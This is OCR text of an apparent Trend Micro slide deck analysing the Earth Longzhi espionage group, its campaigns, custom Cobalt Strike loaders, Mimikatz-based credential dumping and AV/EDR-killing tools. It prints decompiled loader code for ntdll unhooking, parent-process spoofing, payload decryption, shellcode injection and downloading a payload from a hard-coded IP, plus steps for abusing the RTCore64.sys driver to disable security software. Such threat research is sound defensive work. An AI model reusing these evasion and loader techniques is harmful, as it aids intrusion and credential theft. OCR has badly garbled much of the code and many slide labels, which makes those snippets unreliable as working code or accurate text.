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Who is
Earth Longzhi?




Earth Longzhi and APT41 Recap

 Subgroup of APT41 or collaborating entity with APT41
« Strong relationship with Earth Baku/GroupCC (C APT41)

« Targeting national defense and aviation industries in Taiwan, China, Thailand, Malaysia,
Indonesia, Pakistan, and Ukraine

M A PT41 ) ESET attributed
| Winnti as APT41
¢ organized from ¢
" espionage +
@ Sparkling alias j linked
= Grayfly \/Blackfly = Winnti
Goblin @
Sharing Il alias Toolset
- Tools/TTPs ] )
&% GroupCC < /& Earth Baku L matwere)
0 Sharing Toolset *  ShadowPad
Tools/TTPs
*  StealthVector
‘ @ Earth Longzhi [ StealthMutant
*  ScrambleCross/Sidewalk
CobaltStrike
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Analysis of Two
Campaigns



Two Campaigns

“ Campaign #1 Campaign #2

Timeline

Victims

Attack
Vector

© 2022 Trend Micro Inc.

2020/05 - 2021/02

Government, infrastructure, and healthcare-
related organizations in TW

Banking industry in CN

Exploitation of public-facing application
Spear-phishing attachment

SymaticLoader
Cobalt Strike
AlllnOne

2021/08 - 2022/06

Government, defense, health, and
aviation industries mainly in APAC

Exploitation of public-facing application
Spear-phishing attachment

CroxLoader
BigpipeLoader
OutLoader
AVBurner/ProcBurner
Cobalt Strike

Custom Mimikatz



Campaign H1

« Active 2020/05 ~ 2021/02

 Target:
— Government, infrastructure, and health industries in Taiwan
— Banking industry in China

® In-the-wild Attack against Attack against  Attack against Attack against
attack infrastructure infrastructure banking infrastructure
industry in TW industry in TW  industry in CN industry in TW
® Observedin
VirusTotal ‘
I
| ® ® o —eo o
May June Nov Jan Feb
2020 | 2021
|
Attack against Attack against Attack against
academic health industry government
industry in TW in TW agency in TW
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SymaticLoader

Unhooking ntdlil.dll

vl = GetModuleHandleA("ntd11");
K32GetModuleInformation(v@, v1, &modinfo, @x18u);// get in-memory ntdll image
pNtdl1ImageDosHeader = (PIMAGE_DOS_HEADER)modinfo.lpBaseOfD11;
v3 = CreateFileA("C:\\Windows\\System32\\ntd11.d11", @x30000008, 1u, @i64, 3u, @, @i64);// get raw ntdll from disk
v4d = CreateFileMappingA(v3, @i64, 0x1000002u, 0, @, 0i64);
v5 = (char *)MapViewOfFile(v4, 4u, @, @, 8i64);
dwSectionIndex = @;
phtdllImageNtHeaders = (PIMAGE NT_HEADERS)((char *)pNtdllImageDosHeader + pNtdllImageDosHeader->e_ lfanew);
phtdllFileBase = v5;
if ( pNtdllImegeNtHeaders->FileHeader.NumberOfSections )
{
do
{
v9 = 9i64;
v1@ = (PBYTE)pNtdllImageNtHeaders + 4@ * dwuSectionIndex + pNtdllImageNtHeaders->FileHeader.SizeOfOptionalHeader;//
// It does not locate to the beginning of IMAGE_SECTION_HEADER directly.
// 49 is sizeof(IMAGE_SECTION_HEADER).
while ( 1)
{
vll = v18[vo++ + 24];
if ( v1l = aText[vo - 1] )
break;
if (v9 ==6)
{
dwVirtualSize = *((unsigned int *)v1@ + 8);// IMAGE_SECTION_HEADER.VirtualSize
pVirtualAddress = (char *)pNtdllImageDosHeader + *((unsigned int *)v1@ + 9);// IMAGE_SECTION_HEADER.VirtualAddress
f101dProtect = @;
VirtualProtect(pVirtualAddress, dwVirtualSize, @x48u, &fl0ldProtect);
memmove (
{char *)pNtdllImageDosHeader + *({unsigned int *)vi@ + 9),
&pNtdllFileBase[*({unsigned int *)v10 + 9)],
*((unsigned int *)vie + 8)); // Copy raw ntdll mapping from disk to memory
VirtualProtect(
(char *)pNtdllImageDosHeader + *((unsigned int *)v10 + 9),
*((unsigned int *)v10 + 8),
f101dProtect,
&f101dProtect);
break;

}

// The offset plus 24 = IMAGE_SECTION_HEADER[dwSectionIndex].Name
// find .text section

++dwSectionIndex;

while ( dwSectionIndex < pNtdllImageNtHeaders->FileHeader.NumberOfSections );
}

Custom shellcode loader used since at least 2020/05
Designed to bypass AV/EDR solutions, like a red team

Parent process masquerading with
UpdateProcThreadAttribute

GetUserNameA(Buffer, pchBuffer);
v24 = Bisd;
while ( 1)

v25 = Buffer[v24++];

if ( v25 != aSystem[v24 - 1] )
break;

if (v24==7)

{

// Check if I'm SYSTEM

v26 = GetProcessIdByName((__ int64)"svchost.exe");

Value = OpenProcess(@x1FFFFFu, @, v26);

memset (&startupinfo.StartupInfo.lpReserved, 0, @x68ui6d);
StartupInfo.StartupInfo.cb = 112;

*(_QWORD *)pcbBuffer = @i64;

ProcessInformation.hProcess = 0i64;

ProcessInformation.hThread = 8i64;

*(_QWORD *)&rocessInformation.dwProcessId = 0i64;
InitializeProcThreadAttributelist(@i64, 1u, @, (PSIZE_T)pcbBuffer);
v27 = (struct _PROC_THREAD_ATTRIBUTE_LIST *)LocalAlloc(@x46u, *(SIZE T *)pcbBuffer);
InitializeProcThreadAttributelist(v27, 1u, @, (PSIZE T)pcbBuffer);

if ( !UpdateProcThreadAttribute(v27, @, PROC_THREAD_ATTRIBUTE_INPUT, &Value, 8ui64, @i64, 8i64) )// masquerade the parent process as svchost.exe

return 1;
Startupinfo.lpAttributelist = v27;
if ( !CreateProcessAsUserA(
0i64,
0i64,
(LPSTR)"C:\\Windows\\System32\\d1lhost.exe",
0i64,
0i64,
a,
0x80000u, &y
0i64,
"C:\\Windows\\System32",
&startupinfo.StartupInfo,
&ProcessInformation) )
return 1;
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SymaticLoader

Custom Coalt Strike loader used since at least 2020/11
Payload decryption with SUB OxA + XOR OxCC

Payload decryption routine

(al-»S5leep)(15008);

vS = (al-»CreateFileA)(al-»>field 8, BxSe0EEE88, 1, @, 3, 8, B);

v2 = (al-»GetFileSize)(vs, 8);

v3 = (al-»*VirtualAlloc)(@, v2 + 1824, 12288, 64);
[a_—}ReadFllej{ Sy W3, v2, &3l->fTield 28, @);

for ( 1 = 8; 1 € al-»>Tield 28; ++1

v3[i] = (v3[i] - @xA) ~ BxCC;

)

{a:—}clﬂseHandiE}{uS};
(al->EtwpCreateEtwThread)(v3, 8);
while { 1 )

(al->Sleep)(15008);




All=in=-one Toolset

e Custom mutifunction toolset for hacking
— Combines all necessary tools in one executable

HD All in One Tool V2.880 (2014-89-81)
Code by William Henry, Thanks for Steve Paul Jobs

[Usage of Function:]
-p Packet Transmit
-5 SocksS Proxy
-SQL MSSql Password Scanner
—IPC IPC$ Password Scanner
-SFC DisableSFC
-filetime Chanage File Time
-Port Port Scan
—Runas Run as
-Clone Clone User
—driver Get Driver Space
-Sqlcmd SglServer Cmd

11 © 2022 Trend Micro Inc.




Campaign H2

« Active 2021/08 - 2022/06

 Targeting defense, aviation, insurance, and urban development industries
in Taiwan, Thailand, Malaysia, the Philippines, Indonesia, Pakistan, and

Ukraine
Attack against Attack against Attack against Urban
) Insurerance industry in Aviatiqn indus-try in ngelopmgnt indgstry Attack against Aviation
® Ir]ctthek wild Phillipines using Thailand using in Phillipines using industry in Taiwan using
attac SymaticLoader BigpipeLoader BigpipeLoader CroxLoader
® Observedin
VirusTotal ‘ ‘ ‘
o ®) O ) ! o *—
Aug Sep Oct Dec Jan Mar
2021 | | 2022
Possible attack  Possible attack Possible attack Possible attack Possible attack against
against Unknown  against Unknown against Defense against Ukraine using Defense industry in
industry in Pakistan  industry in Malaysia  industry in Indonesia BigpipeLoader Taiwan using CroxLoader
using OutLoader  using OutLoader using BigpipeLoader
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Incident in 2021/10

* |Intrusion via public-surfacing application

RCE againt

public surfacing app Downloader WebShell

C:¥PerflLogs¥csc.exe C:¥inetpub¥wwwroot¥
aspnet_client¥Error.aspx

v

— (%)

BigpipeLoader CobaltStrike
C:¥Users¥Public¥SECOH-QAD.dIl

- @ — @)

SymaticLoader CobaltStrike

C:¥Windows¥System32¥
spool¥prtprocs¥x64¥winprint.dll

0C

L, (3

0

Standalone Mimikatz DCSync module

13 © 2022 Trend Micro Inc.

C:¥PerflLogs¥dcsync.exe



Custom Loaders

SymaticLoader 2020/05~ .
CroxLoader 2021/10~
BipipeLoader 2021/08~
MultipipeLoader 2021/08 .
OutLoader 2021/09 .
14 © 2022 Trend Micro Inc.

XOR OxCC + SUB OxA

XOR OxCC + SUB OxA
RtIDecompressBuffer + XOR OxCC

Base64 + RSA + AES128-CFB
AES128-CFB

Base64 + AES128-CFB

AES128-CFB

Parent process spoofing
Restoring ntdll.dll
Syscall support

Process injection
Decoy document

Multithreading decryption over
named pipe

Decoy document
Multithreading decryption over
named pipe

Decoy document

Download payload from external

server
Decoy document
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REREEWE.exe
Islamic Republic of Pakistan assets are
escaped.exe

smb.exe

KEPERLUAN SENARAINAMA TERKINI PEGAWAI
DAN ANGGOTA LLP BERSERTA WARIS PENGGAL

KE-2 THN 21.exe

aaa.exe
Penyampaian Soft Copy Rencana Induk Industri
Pertahanan.exe

[Z2] FBEEEERRKERAR-BHEEnitt

BBR.exe

Word.exe

BASSITSBEM R E K. exe
BARBITERBEM R E . exe

IEREL BB ZWZEFHARANK S BB exe

The current situation in the Joint Forces
Operation area.exe

Word.exe

(B3 =88+ KB RIRMEEN R = B R IE R
M- B e BEKE-RET hR.docx.exe

all the evidences.doc .exe
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e1a308add5f38e0c3b3050268d8e97¢c6731150ce

7e4560f78d17b7efad091ed4ed24ff02948a3alf9

e1793411bdc08b906fc111aal548e8137023285f

€20d7aee8d5a2daeb6c2069a466f06cafdcf195f
f30cd68daf082becfOeac8efaaeb4bfel4396144

9a218d3e65b974abibc9fa364a5597dfObeddb72

9a7aldb62588f0dal2bdbbe8f7e6775b15409a05
d4296d2e6781ccab7c7fb45a493ba6783aa36bll
47ef7c2894542a31961159dddac3a304f88285f7
afb5d1cc76126e5a4d6e1891eb886b1445e720e3

829a37bac477c316750199819070b56a55749199
36967195eca702a09b39108d9a9b91a8f4b5685f

f987eaf2529d85f6b57e6fedd846f7b4d103f09b

57ebd92b2f0c2269a3aalaea’4498a44041ecc’5
84254f20f869de41f99b5f2e6697868259e9de4b

Custom Loaders and Payload
hame dshal _ ltimestamp __lmaware ____ lpayioad

2021/08/10 Multipiploader

2021/08/23 outloader
2021/09/03 BigpipeLoader type 1

2021/09/09 outloader
2021/09/17 BigpipeLoader type 1

2021/09/27 BigpipelLoader type 1

2021/09/28 BigpipeLoader type 1
2021/10/14 BigpipelLoader type 1
2021/12/06 BigpipeLoader type 1
2021/12/06 BigpipeLoader type 1

2021/12/07 BigpipeLoader type 1

2021/12/09 BigpipelLoader type 2
2021/12/20 BigpipelLoader type 1

2021/12/31BigpipeLoader type 2

2022/03/09 CroxLoader

CobaltStrike HTTP Beacon

Maybe CobaltStrike
CobaltStrike SMB Beacon

Unknown
CobaltStrike HTTPS Beacon

CobaltStrike HTTPS Beacon

CobaltStrike HTTPS Beacon
CobaltStrike HTTPS Beacon
CobaltStrike HTTP Beacon
CobaltStrike HTTP Beacon

CobaltStrike HTTP Beacon
CobaltStrike HTTPS Beacon

CobaltStrike HTTPS Beacon

CobaltStrike HTTPS Beacon
CobaltStrike HTTPS Beacon
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Decoy Collections

 Most of decoy documents are password-protected, but some documents
are related to the target

Ukraine

The current situation in the
Joint Forces Operation area
(18 - 24.11.2021)

OF THE RUSSIAN

The current situation in the Joint
Forces Operation area.exe

16 © 2022 Trend Micro Inc.
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CroxLoader

« Custom shellcode loader used since at least 2021/10

Type 1(2021/10-?) Type 2 (2022/03-)

1) Decrypt shellcode

2) Inject shellcode formed and decoy file 2) Open decoy document

Cobalt Strike into
remote process

1) Decrypt shellcode

drop &
decrypt open
— ‘ —>

CroxLoader CobaltStrike CroxLoader Decoy document

l inject

h —
run on ‘ * 3) Run shellcode-formed
memory

rundli32.exe or dllhost.exe .
CobaltStrike
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roxLoader

Payloa
Payloa

© 20221

(x - OxOA) ~ OxCC -> Payload

(char *)CreateFileW(L"C:\\Windows\\System32\\smrs.dat", Ox50000000, 1u, @i64, 3u, @, 8i6d);
ell;

__intea)

| - 1) <= @xFFFFFFFFFFFFFFFDUi64 )

ilew, @i64);
char *)LocalAlloc(@x4lu, Filesize);

if (

3 8& ReadFile(vl, v3, FileSize, &MumberOfBytesRead, @i64) )

CloseHandle(v1);
v5 48963
while (1)
{

ocalAlloc(@x4@u, vs);

if (
break;
8

HtQuerySystemInformation(SystenProcessInformation,

vS, &Returnlength);
(<o)

LocalFree(v7);

Vs *= 25

if (v

{

1= exC0000E04 )

v ;
if (7))

{
while ( !*((_wORD *)vo + 28) || (unsigned int)sub_180@@3B84(*((_QWORD *)v9 + 8), L"winlogon.exe") )
{

vg = (unsigned int *)((char *)ud + *=3);

if ¢ 1%
goto LABEL_33;

@;
ileSize )

if ( Filesize < @x48 )
goto LABEL_19;
25 = _mm_load_sil28((const _ ml2ai °
_mm_load_si128((const _mi2ai
= 32;

)2g ¢ 'H
)8g_@xXCCCCCCCCCCCCCCCCCECCCCCeeecceece);

*)&vA[v14] = _mm_xor_si128

_mm_sub_epi8(_mm_loadu_sil28((const _ ml28i *)&w4[v14]), sil23),
vi2)z

16] = _mm_xor_sil28(

5

_mm_xor_si128(

_mm_sub_epi8(_mm_loadu_si128((const _ m128i *)&va[v13]), sil2s),
viz);

_mm_xor_si128(
_mn_sub_epi8(_mm_loadu_si128((const _ m128i

J&UA[vIS]), 5i128),
viz);
while ( ize & OXFFFFFFCB) );
if ( vie
{

BEL_19:

mm_sub_epiB(_mm_loadu sil28((const _ n128i *)&ua[vi3 - 16]), =i128),

RtIDecompressBuffer + XOR with OxCC -> Payload

DuT = LocalAlloc(@x#du, v2);

d is loaded from other component or embedded in loader itself
d is encoded by custom encoding or LZNT1 + XOR

if ( lbuf )
return @isa;

RtlDecompressBuffer(2u, bu?, v2, g_enc_payload, Bx2CC36u, & inalUncompressedsize);
if (v ce)

LocalFree(buf);
v2 H

alUncompressedSize;

lUncempressedsize )

if ( FinalUncompressedSize < @x4@ )
oto LABEL 13;
28 =

_mm_load_si128(&g_8xCCCCCCCCCCCCCCCCCCCCOCOCCCCCCEET);

_mm_xor_s1128(_mm_loadu_si128(&buf[vo

1), size);
- 16] = _mm_xor_si128(si125, _mm_loadu_sil2a(&bu[vE - 16]));
_mm_xor_si128(=i128, _mm_loadu_si128(8buf[vE])};
+ 163

v8 64;
*8buf[v18] = mm_xor_sil28(si128, _mm_loadu_sil28(&buf[v10]});

v5 & @xFFFFFFCE) )3

T
while ( v12 )3

Number0fBytesToProtect = vS;

BaseAddress = bufs

NtProtectVirtualMemory(
@xFFFFFFFFFFFFFFFFiGA,
8BaseAddress,
&lumberOfBytesToProtect,
@xaBu,
&0ldAccessProtection);

)5
RtlCreateUserThread(@xFFFFFFFFFFFFFFFFi64, 0i64, 0i64, 0i64, 0i64, 0i64, buf, Bi64, 8Reserved,

Bisd);

==
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BigpipeLoader

« Custom shellcode loader used since at least 2021/09~
— Drop decoy document + run shellcode-formed Cobalt Strike on memory.
— There are couple of variants based on decryption algorithm or coding style.

Scenario 1(2021/09 -)

drop &
open
—>

BigpipeLoader

Decoy document

-
runon ‘
memory

Cobalt Strike

19 © 2022 Trend Micro Inc.

Word.exe

Scenario 2 (2022/06 -)

drop &
open
—
Decoy document
0C
I 0

run

Wusa.exe

l Side-load
run on

memory
run
- 5 —

WTSAPI32.dIl

BigpipeLoader (chrome.inf) Cobalt Strike
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igpipeLoader

fn_write pipe

vi = @igd;
« data = al->data;
zize = zl-»size;
NamedPipel = CreateNamedPipeW(g_pipe_name_prefix, 2u, @, lu, @, @, @, @ic4);
w4 = NamedPipell;
if ( NamedPipel 8& w4 = -1i64 )

Read/Write encrypted payload over named pipe
in multithread and decrypt it with AES128-CFB

if ( ConnecthamedPipe(vt, @is4) )

while ( sire && WriteFile(v4, data, size, &3, @i64) )

g_handlers->fn_gen_unique_pipe_name = decode_func_addr(g_handlers->fn_gen_unique_pipe_name);

g_handlers->fn_write_pipe = decode_func_addr(g_handlers->fn_write_pipe); data += v3;

g_handlers->fn_decrypt_and_run = decode_func_addr(g_handlers->fn_decrypt_and_run); size -=v3;

result = QueryPerformanceFrequency(&ve); }

If (result) LODWORD(NamedPipell) = NtClose(v4)

{ Name 1pek = ose(V H .
QueryPerformanceCounter(&PerformanceCount); -Fn_r\e a d_p 1 pe
while (1) return NamedPipell;

*read_buf_size = 8;
if ( (v & @xIFFF) == Filel CreateFilel(g_pipe_name_prefix, @x30000000, 7u, @is4, 3u, OxBou, 9is4);
WaitForSingleObject(@xFFFFFFFFFFFFFFFFi64, 1u); v6 = Filel;
QueryPerformanceCounter(&FerformanceCount); if ( Filed 8& ve != -1i64 )
if ( vo == @x26318315 ) R {
8 *buf = LocalAlloc(@x4@u, buf size);
(g_handlers->fn gen unique_pipe name)(}; + if ( *buf )
v2.data o &g_enc_data
LODWORD (2. 51ze 482805 ; ile ( buf_size & ReadFile{vs, *buf, buf size, &vS, @i64) )
if ( (RelCrfateUserThread)(-1i64, @164, 0164, 0164, 0164, 0ics,[g handlers—>fn write pipe] &2, v3, 0i64) >= @ )
H buf_size -= v5;
hiandle # CreateEventW(@ic4, @, @, 8i64); -Fn_dec r‘ypt_aNd_r‘Uﬂ g “buT +— v5; ?
if ( hrghdle ) R 4 handlers->fn_read pipe — decode func_addr(g handlers->fn_read pipe); *read_buf_size += v5;
t i . c_handlers->tn_read_pipe(&buiier, @x4B2BBi6A, &rcad buf size)s)
waitforSingleObject(hrandle, @xCCu); ' & Fan Fods_func_addr(g_hendlers->Tn_decrypt); *buf -= *read_buf_size;
NtClose(hrandle)s g_handlers->ficld 38 - decode_func_addr(g_handlers->field_38); }
; s H if ( buffer ) LODWORD(Filel) = NtClose(vé);
H ¢ payload_size = read_buf_size - 32; return Fileil;
if (w9 F= @x271CECCA ) key = LocalAlloc(@x4Bu, Bx18ui6a);
break if ( key )
s { fn_decrypt
} H R iv = Localalloc(@x4@u, @x18uisd); —_ yp
V7 = 266247 if (iv ) "
qword_7FF6ASCD8278 = RtlCreateHeap(266247i64, 164, 9i64, 0i64, 0164, Pigdy] { mode = CRYPT_MODE_CFB;
return DialogBoxParami(=l, @x65, 0i64,|thandlers->fn7decryp‘tjnd7run}"éi64),' enc_payload = LocalAlloc(@x4@u, payload size); uBytesz = 28i64;

if ( enc_paylead } if { CryptAcquireContextW(&phProv, @ie4, Bi64, @x18u, BxFOEEEEE8) )
i

)

memepy @(iv, buffer, @x18uisa); hHem = LocalAlloc(Bx48u, LBytes);
memcpy_@(key, buffer + 0x18, @x10ui64); . o

memepy B(=nc payload, buffer + 8x28, payload,.s ; if ( htem )
(g_handlers-»fn_decrypt) (k=y, 16164, <v); | {

if ( (g_handlers->field 38)(enc_payload, payload_size, &v10) >= @ )
{

IV
Key
Enc

0.kk%-7...Q-3PGH{
Z..q8R Xz A5 -#E-=
LTht.a5%aL B -
... UPBEEZ

hMem->header.bType = PLAINTEXTKEYELOB;
h¥em->header.bVersion = 2;

Heap = RtlAllocateHeap(quord_7FF6ABCDB278, 13164, Size); hem-rheader. reserved = 8

sub_7FFEASC730887 (Heap, 144, Size); Mem- i - A :

menzry OlHouns 1o, ©ieys :.‘.jen._ihe.adet,i:—(eyAlg CALG_AES_123;

(RtlCreateUserThread)( SErmrslze = b , .
-1i64, memcpy (&hMem-rkey, key, hvem-»size);

eic4, if ( CryptImportKey(phProv, &hMem->header, ubytes, 8i64, @, &hkey) )
@ica,

0isa, CryptSetKeyParam(hkey, KP_MODE, mode, @);

:i:‘ CryptSetKeyParam(hkey, KP_IV, iv, 8);

Haap‘ if ( CryptDecrypt(hKey, @i64, 1, 8, data, data_len) )

@isa, HIDWORD(uBytes) = 1;

&vE, CryptDestroyKey(hkey);

@isa,

v3.QuadPart,
v4.QuadPart) ;

LocalFree(htem);

20 © 2022 Trend Micro Inc.

CryptReleaseContext(phProv, @);

return HIDWORD(uBytes);
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OutLoader

e Custom shellcode loader

« Similar to BigpipeLoader/CroxLoader, but it downloads payload from

remote server

Download payload from remote server

Maxeount = g,

2 = vz

i (2 )
v3 = WinHttpConnect(v2, L"139.188.138.226", @x1F40u, @);
hInternet = w3;
if (w3 )

WinHttpOpenRequest(v3, &pwszVerb, L"/out.txt", @, @, @, @);

£l

if (v
if ( wWinHttpSendRequest(v4, ®, @, 6, @, @, @) &% WinHttpReceiveResponse(vs, @) )

{
do

dwhumber0fBytesAvailable = @;
if { WinHttpQueryDataAvailable(vs, &dwNumberOfBytesi

{

if ( !dwNumberOfBytesAvailable )
break;
ve = LocalAlloc({@x48u, dwlumberOfBytesAvailable);

w7 = MaxCount;
vE = MaxCount;
if ( src )

v = LocalAlloc(@x4@u, MaxCount);
VO s

(v)

memmove(vd, Src, vi);
LocalFree(Src);

Decrypt payload with AES128-CFB

v2 = WinHttpOpen(L"Mozilla/5.@ (compatible; MSIE 9.8; Windows NT 6.1; Trident/5.e", @, @, @, 8);

if ( ve && WinHttpReadData(v5, v6, dwNumberOfBytesAvailable, &dwNumberOfBytesRead) )

int _ usercall sub_48129@f@<eax>(const BYTE *al@<edx>, _OWORD *a2f@<ecxr, BYTE *a3,

int v4; // ebx

char *w6; // edi
BYTE pbData[4]; // [esp+l4h] [ebp-1@h] BYREF
HCRYPTPROV phProv; // [esp+18h] [ebp-Ch] BY
HCRYPTKEY phKey; // [esp+1Ch] [ebp-8h] BYRE

i = @3
*(_DWORD *)pbData = 4; /{ Crypt_Mode_CFB
if ( CryptAcquireContextW(&phProv, @, @, @xl3u, @xFOeE8008) )

(char *)LocalAlloc(@x48u, @x1lCu);

i
{
#((_DWORD *)vé + 1) = 26126; // CALG_AES_128
*{_DWORD = 528;
*((_DWORD *)vé + 2) = 16;
*(_OWORD *)(v6 + 12) = *a2;

if ( CryptImportkey(phProv, (const BYTE *)vé, @x1Cu, @, @, &phkey) )
CryptSetKeyParam(phkey, 4u, pbData, @);
CryptSetkeyParam(phkey, 1lu, al, @);
if ( CryptDecrypt(phkey, @, 1, @, a3, a4) )
v4 = 1;
CryptDestroyKey(phkey);

LocalFree(ve);
CryptReleaseContext(phProv, @);

return vi;

1

DWORD *a4)
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Hacking Tools

* Privilege Escalation

— PrintNightmare (CVE-2021-1675 / CVE-2021-34527)
— PrintSpoofer (https://github.com/itm4n/PrintSpoofer)

* Credential Dumping

— Custom Mimikatz modules

e Defensive Evasion

— ProcBurner
— AVBurner

© 2022 Trend Micro Inc.


https://github.com/itm4n/PrintSpoofer

Bring Your Own Mimikatz *°

 Reimplement mimikatz modules as standalone binary for each

sekurlsa::logonpasswords (=> getpass.exe)
 Dump credentials from Isass.exe

Isadump::dcsync (=> log.dat / dcsync.exe)
 Perform DCSync attack

Isadump::backupkeys + dpapi::chrome (=> dpapi.exe / collectchrome.exe)
 Dump chrome’s credentials by using backupkey from DC

misc::memssp (=> xpn.exe)

* Dump credential from Security Support Provider (SSP), copied from @xpn
implementation

« https://blog.xpnsec.com/exploring-mimikatz-part-2/
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https://blog.xpnsec.com/exploring-mimikatz-part-2/

Anti-AV/EDR by Abusing Vulnerable Driver

 ProcBurner and AVBurner
— Custom anti-AV/EDR tools by abusing vulnerable “RTCore64.sys"
— RTCore64.sys is a driver component of MSI's Afterburner
— In 2019, CVE-2019-16098 was assigned as local privilege escalation bug

CVE-2019-16098

[NTSTATUS _ stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNLCODE STRING RegistryPath)

1
NTSTATUS result; // eax
PDEVICE_OBIECT DeviceObject; // [rsp+48h] [rbp-38h] BYREF H th ——
_UNICODE_STRING Destimationstring; // [rsp+4sh] [rbp-3gh] BYREF locreateDeVlce +5 argument -
_UNICODE_STRING SymbeliclinkMame; // [rsp+S8h] [rbp-28h] BYREF
RtlInitUnicodeString(&Destinationstring, L™\\Device\\RTCoresd");
RtlInitUnicodeString(&symboliclinkName, L"\\DosDevices\\RTCore&4");
result = IoCreateDevice(DriverObject, @, &DestinationString, FILE_DEVICE_UNKNOWN, @, @, &DeviceObject);
if ( result »= & ) ca§e Bx80802848 .
{ F CConm)opsions == a5 ) loControlCode == 0x80002048
result = JoCreateSymbolicLink{&SymboliclinkName, &DestinationString}; v7 = MasterIro- . ege
A . v7 = Mast p->MdlAddress;
iF (result >= 0 ) s means writing any BYTE/WOQRD/DWORD
{ { . .
iverObject->Majorfunction[IRP_MI_CREATE] = (PDRIVER DISPATCH)sub_l11458; — =P switch ( tasterirp-»AssociatedIrp. IrpCount ) into arbitra ry address
ject->MajorFunction[IRP_MJ_CLOSE] = (PDRIVER_DISPATCH)sub_1145@; { case 1:
ject->MajorFunction[IRP_MJ_DEVICE CONTROL] = (PDRIVER DISPATCH)sub_1145@; HIDWORD( /2= ter I-p->AssociatedIrp. SystemBuffer) = *((unsigned _ ints *)&u7->Next
DriverObject-»DriverUnload = (FDRIVER_UNLOAD)sub_11088; + *(&asterIrp->Flags + 1));
return @; break;
} case 2:
HIDWORD(MasterIrp-»AssociatedIrp. SystemBuffer) = *(unsigned _ intlé *)((char *)&v7->Next
} . + *(&vasterIrp->Flags + 1));
return result; break;
K case 4:
HIDWORD(MasterIrp->AssociatedIrp.SystemBuffer) = *(_DWORD *)((char *}&7-3Next + *(&asterlrp->Flags + 1));
break;
al2-»IoStatus.Status = 8;
az-rIo5tatus.Information = 48i64;
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ProcBurner

 ProcBurner uses vulnerable RTCore64.sys to force-patch
_HANDLE TABLE ENTRY.GrantedAccessBits into PROCESS ALL _ACCESS

1
2

0S: Windows 10 20H2 x64 5

EPROCESS HANDLE_TABLE Array of 4.

HANDLE_TABLE_ENTRY

0x10 Entry 1
0x20 Entry 2
0x30 Entry 3

Entry n

Yy ObjectTable HANDLE_TABLE_ENTRY User
,,,,,,,,,, e,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,
Yl Entry 6x1d8

: 2 1::E€S
: Granted
—
Index = (HANDLE >> 2) * 16 Pl Ox1fffff

Vulnerable
RTCore64.sys

25 © 2022 Trend Micro Inc.

5.
—»> 0x08 TableCode 0x00 Reserved
6

. Now able to TerminateProcess

. OpenProcess with PROCESS_QUERY_LIMITED INFORMATION (=0x1000)
. Return HANDLE of target process (i.e. 0x1d8)
. Get the address of HANDLE_TABLE_ENTRY object of target handle by

tracking back from EPROCESS object

Send IOCTL request to mask HANDLE_TABLE_ENTRY.GrantedAccessBits of
target process with PROCESS ALL_ACCESS (=0x1fffff)

Vulnerable RTCore64.sys writes the requested bitmask value

PROCBURNER AntiVirus.exe

& - @

kernel



AVBurner

 AVBurner uses vulnerable RTCore64.sys to remove kernel callback routine to
unregister AV/EDR monitoring

1. Get addresses of PsSetCreateProcessNotifyRoutine and IoCreateDriver.

2. Search specific sequence of bytes to find the address of

0S: Windows 10 2004 AVBURNER PspCreateProcessNotifyRoutine between the above addresses.
Type: Process 3. PspCreateProcessNotifyRoutine is a table of callback functions that
‘ contains custom pointer to EX_CALLBACK_ROUTINE_BLOCK object, whose address
can be calculated by removing the last 4 bits of the pointer.
User 4. EX_CALLBACK_ROUTINE_BLOCK.Function (offset=0x08) contains a pointer to
”””” i”"’"’""’”"’"" callback function (Driver.sys in this case). Get the driver’s file path
ntoskrnl.exe kernel that the callback function belongs to, and if the driver’s file property

has target string (i.e. Trend), AVBURNER overwrites the pointer with NULL,
which results in removing callback registration.

o Vulnerable 0o

PsSetCreateProcess RTCore64
NotifyRoutine oreoc4.sys
10 PspCreateProcess
nt!PspSetlreateProcessiotifyRoutine+0x68: NOtlfyROUtlne
fffffeea 3b3827c8 33db xor ebx,ebx
PSpsetcr‘eatePr‘OCESS fFfff3e4"3b3827ca 4cg8d2defoaseee lea ri3, [nt!PspCreateProcessiotifyRoutine fepp CallbaCk 1
NOtl-FyROUtlne nt!PspsetCreateProcessiotifyRoutine+8x69: 9 EX_CALLBACK_
FHfFF2047 3p3827d1 428d0cdcEBAORRE8 lea rex, [rbx*2] Callback 2 ROUTINE_BLOCK
fffffee4” 3b3827d9 4533c8 xor rad,rad (addr >> 4) << 4 -
\ |Fffffee4” 3b3827dc 4983cd add rcx,rd3 o 5 .
end ‘[ FFfFfaea” 3b3827df 488bd7 mov_ rdx,rdi Callback n —> Driver.sys
IoCreateDriver
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Process of
Attribution



Attribution

« We state with confidence that Earth Longzhi is related to or is a subgroup
of APT41 based on the following reasons:

— Victimology

— Cobalt Strike metadata overlap
— Code similarity of loaders

— TTPs overlap

« But it's still unclear as to how they collaborate with each other.
— Subgroup (small subteam) of APT41?
— Orjust sharing tools/TTPs with each other?
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Victimology

 In campaign #1, the main target was Taiwan

« |In campaign #2, the main targets were East/Southeast Asia, but geopolitically critical
countries including Pakistan and Ukraine were also targeted

 This indicates that the attacker has geopolitical interests in these area

Targets of Earth Longzhi 2020-2022

-

% r" i
) "ETNAM gﬁ PHILIPPINES
BRUNEI N “'.“d
* ‘ 1

) = "" § . i PA .\A—\N\EW GUINEA
S P ez - . \\13\ % o
NGOIA MSassni™ MALA = y X
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Cobalt Strike Metadata Comparison

« Cobalt Strike Beacon embeds some noteworthy artifacts
— Public Key

RSA public key to encrypt session metadata on C2 communication

This key is generated from "“.cobaltstrike.beacon_keys" file which is generated in the
working directory if it doesn’t exist when the first logon to Team Server.

A matching public key means that two pavyloads possibly came from the same Team Server.

Exception: Leaked/Cracked or copy of the whole Cobalt Strike directory

— Watermark

A unique 4 bytes value embedded in Beacon

Watermark is generated from "CobaltStrike.auth" file in Team Server, which is a config file
used to check license ID and expiration.

Watermark will be changed when a version is updated.
A matching watermark means that two payloads came from same Team Server.

Exception: Leaked/Cracked Coblat Strike
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Understanding Cobalt Strike's Operation

When multiple operators share same CobaltStrike Lisence

% | login

= —>
Operator A

’? login

- —

-

Operator B
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CS Team Server
for Operator A

D CobaltStrike.auth

D .cobaltstrike.beacon_keys
for Operator A

CS Team Server
for Operator B

D CobaltStrike.auth

D .cobaltstrike.beacon_keys
for Operator B

Create

=)

Create

-

()

Beacon generated by Operator A
watermark: generated by CobaltStrike.auth
pubkey: .cobaltstrike.beacon_keys

(4 )

Beacon generated by Operator B
